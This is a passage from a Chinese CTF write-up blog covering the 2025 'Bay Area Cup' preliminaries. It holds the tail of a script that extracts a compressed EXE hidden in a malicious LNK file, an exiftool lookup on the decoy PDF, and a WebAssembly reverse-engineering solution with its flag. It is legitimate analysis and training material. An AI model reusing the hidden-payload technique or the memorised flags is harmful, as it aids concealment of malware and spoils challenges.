# $po2sdw1 = $fbcse1[($fbcse1.Length - 35031)..($fbcse1.Length - 1)];
exe_start_index = file_length - EXE_OFFSET_START_FROM_END

if exe_start_index < 0:
raise ValueError("计算出的 EXE 偏移量无效。")

compressed_exe_data = lnk_data[exe_start_index:]
print(f"[+] 定位到压缩的 EXE 数据 (大小: {len(compressed_exe_data)} 字节)")

# 执行 GZip 解压缩
decrypted_exe_data = gzip.decompress(compressed_exe_data)

# 保存解压后的 EXE
with open(DECRYPTED_EXE_FILE, 'wb') as f:
f.write(decrypted_exe_data)
print(f"[+] EXE 解压成功!已保存为: {DECRYPTED_EXE_FILE}")

except Exception as e:
print(f"[!] 提取 EXE 文件时发生错误: {e}")

if __name__ == '__main__':
extract_and_decrypt()

使用 exiftool 查看提取出来的 湖南绘梦有限公司管理规定.pdf 的 exif 信息

1
exiftool 湖南绘梦有限公司管理规定.pdf
1
2
3
Create Date                     : 2025:08:15 01:37:26+08:00
Creator : Chromium
Modify Date : 2025:08:15 01:37:26+08:00
1
flag{2025-08-15_01:37:26}

6/7/8

后面三问没做出来

Reverse

minigame

Challenge

一个简单的微信小程序

Solution

biggerstar/wedecode 解,给出的附件没有加密,因此直接反编译就行。

通过分析反编译小程序的文件结构,我们快速定位到几个关键文件:

  • pages/index/index.js: 小程序页面的主要逻辑,处理用户输入和界面展示
  • utils/validator.js: 一个封装了核心校验逻辑的模块
  • utils/validator.wasm: WebAssembly 文件,真正的校验算法所在地

index.js 中的代码显示,程序会检查输入字符串的长度是否为38,然后调用 validator.js 中的 _validateString 函数进行校验。

validator.js 的作用是加载 validator.wasm 模块,并将其中的导出函数(如 _validateString)暴露给上层调用。

由此可知解题的关键在于逆向分析 validator.wasm 文件。

使用 IDA Pro 对 validator.wasm 进行反编译得到其汇编代码,核心校验逻辑位于函数 c 中。

在函数 c 的代码中可以找到一处比较逻辑:

1
2
3
4
5
6
7
code:00B6 L1:                                     ; CODE XREF: c+18↑j
code:00B6 i32.const 0x26
code:00B8 i32.ne
code:00B9 if ; L7
code:00BB i32.const 0
code:00BD return
code:00BE end ; L7

这段代码将输入的长度与 0x26 (十进制的38) 进行比较,如果不相等则直接返回 0 (失败),这印证了 index.js 中的长度判断

data 段中发现一段被加载到内存地址 0x400 的数据,长度为38字节,推测这是用于校验的密钥或加密数据:

1
2
3
4
5
6
data:00FF data_0:         db 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9
data:0108 db 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE
data:0111 db 0xAB, 2 dup(0xA1), 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE
data:011A db 0xFC, 0xA1, 0xFA, 0xA8, 2 dup(0xFB), 0xAD, 0xFC, 0xAC
data:0123 db 0xAA, 0xE4
data:0123 ; end of 'data'

在函数 c 的主循环中找到核心的校验算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
code:00C1 L8:                                     ; CODE XREF: c+B3↓j
code:00C1 block ; L9
code:00C3 i32.load8_u [$local1+0x400]
code:00C9 i32.add $local1, $local2
code:00CE i32.load8_s
code:00D1 i32.xor
code:00D2 local.tee $param0
code:00D4 i32.const 0x99
code:00D7 i32.eq
code:00D8 local.set $local0
code:00DA i32.ne $param0, 0x99
code:00E0 br_if 0 L9
code:00E2 i32.add $local1, 1
code:00E7 local.tee $local1
code:00E9 i32.const 0x26
code:00EB i32.ne
code:00EC br_if 1 L8
code:00EE end ; L9

该算法的逻辑可以概括为:

  1. 遍历输入字符串的每一个字节 input[i]
  2. 从内存地址 0x400 开始,取出对应的字节 data[i]
  3. 计算 input[i] ^ data[i]
  4. 检查结果是否等于 0x99
  5. 只有当所有38个字节的校验结果都为 true 时,整个字符串才算校验成功

根据逆向出的算法可以推导出正确的输入字节:

1
input[i] = data[i] ^ 0x99

编写脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
data = [
0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9, 0xFB, 0xAB, 0xAE, 0xFA, 0xAD,
0xAC, 0xA8, 0xFA, 0xAE, 0xAB, 0xA1, 0xA1, 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE, 0xFC,
0xA1, 0xFA, 0xA8, 0xFB, 0xFB, 0xAD, 0xFC, 0xAC, 0xAA, 0xE4
]

key = 0x99
flag = ""

for byte in data:
flag += chr(byte ^ key)

print(flag)

运行脚本得到 flag

FLAG

1
flag{fae0b27c451c728867a567e8c1bb4e53}
  • 标题: 2025年“湾区杯”网络安全大赛初赛
  • 作者: Aristore
  • 创建于 : 2025-09-08 00:00:00
  • 更新于 : 2025-09-25 19:06:47
  • 链接: https://www.aristore.top/posts/wqb2025/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论